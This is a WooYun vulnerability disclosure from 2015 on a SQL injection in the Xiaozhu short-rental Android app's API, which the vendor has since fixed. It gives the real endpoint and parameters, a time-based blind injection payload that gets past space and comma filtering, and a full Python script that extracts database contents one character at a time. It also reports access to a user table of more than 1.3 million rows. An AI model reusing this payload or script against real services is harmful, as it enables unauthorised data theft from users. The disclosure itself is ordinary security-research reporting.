小猪短租官方APP绕过过滤继续注入(含130W+用户数据/附绕过脚本)

编号157978
Urlhttp://www.wooyun.org/bug.php?action=view&id=157978
漏洞状态厂商已经修复
漏洞标题小猪短租官方APP绕过过滤继续注入(含130W+用户数据/附绕过脚本)
漏洞类型SQL注射漏洞
厂商xiaozhu.com
白帽子路人甲
提交日期2015-12-03 16:02:00
公开日期2015-12-04 10:36:00
修复时间2015-12-04 10:36:00
确认时间2015-12-03 00:00:00
Confirm Spend0
漏洞标签SQL注入
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank20
漏洞简介
请教SQLMAP中IF->CASE或绕过逗号的Tamper
漏洞细节

目标:小猪短租官方APP
检测发现以下地方存在SQL注入:(注入参数:pkeys,时间盲注)

http://wireless.xiaozhu.com/app/xzfk/android/220/global/version?_=1449119094538&sessId=f83651f6f45cb6e94578c69a051f8185&pkeys=homecity%2Ccity_searchfilter_13%2Ccity_searchfilter_132&dispathChannel=xiaozhu&userId=1823761635


Payload如下:(睡4秒)

http://wireless.xiaozhu.com/app/xzfk/android/220/global/version?_=1449119094538&sessId=f83651f6f45cb6e94578c69a051f8185&pkeys=')/**/AND/**/(SELECT(0)FROM(SELECT(SLEEP(4)))CTAQ)/**/AND/**/('oUPP'='oUPP&dispathChannel=xiaozhu&userId=1823761635


放SQLMap时发现没检测出来,手工看了下发现过滤了空格和逗号,于是写了个Python来跑数据:(以跑当前数据库database()为例,测试时请自行修改代理)

#!/usr/bin/env python
#coding=utf8
import httplib, urllib, re, time
database = ''
temp_database = ''
httpClient = None
count = 0
i = 33
while i < 128:
if i == 37:
i = i+1
try:
headers = {"Host": "wireless.xiaozhu.com",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0",
"Accept-Encoding": "gzip,deflate",
"Accept": "*/*",
"Connection": "keep-alive"}
httpClient = httplib.HTTPConnection("192.168.1.2", 8888, timeout=30)
url = "http://wireless.xiaozhu.com/app/xzfk/android/220/global/version?_=1449119094538&sessId=f83651f6f45cb6e94578c69a051f8185&pkeys=')/**/AND/**/(SELECT(0)FROM(SELECT(SLEEP(CASE/**/WHEN(database()/**/like/**/0x"+temp_database+str(hex(i))[2:]+"25)THEN/**/2/**/ELSE/**/0/**/END)))CTAQ)/**/AND/**/('oUPP'='oUPP&dispathChannel=xiaozhu&userId=1823761635"
httpClient.request("GET", url=url, headers=headers)
st = time.time()
response = httpClient.getresponse()
rp = response.read()
if count == 1:
if time.time()-st > 2:
temp_database = temp_database + str(hex(i))[2:]
database = database + chr(i)
print 'count from user: ', database
i = 33
count = 0
else:
count = 0
elif time.time()-st > 2:
count = 1
i = i-1
i=i+1
except Exception, e:
print e
finally:
if httpClient:
httpClient.close()

POC

1、跑出当前数据库用户

user.jpg


2、跑出当前数据库

database.jpg


3、跑出当前数据库中用户表的数据条数,共130W+。仅作测试,具体就不深入了。

tb.jpg

修复方案

请多指教~

状态信息 2015-12-03: 细节已通知厂商并且等待厂商处理中
2015-12-03: 厂商已经确认,细节仅向厂商公开
2015-12-04: 厂商已经修复漏洞并主动公开,细节向公众公开
厂商回复nb!
高手有兴趣聊聊吧。
回应信息危害等级:高漏洞Rank:20 确认时间:2015-12-03 16:18
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

找人合作国外项目,有兴趣请加:2573465610 注明来意

Mr.Wang02015-12-04 07:37:00

厂商很可爱

心云02015-12-03 17:28:00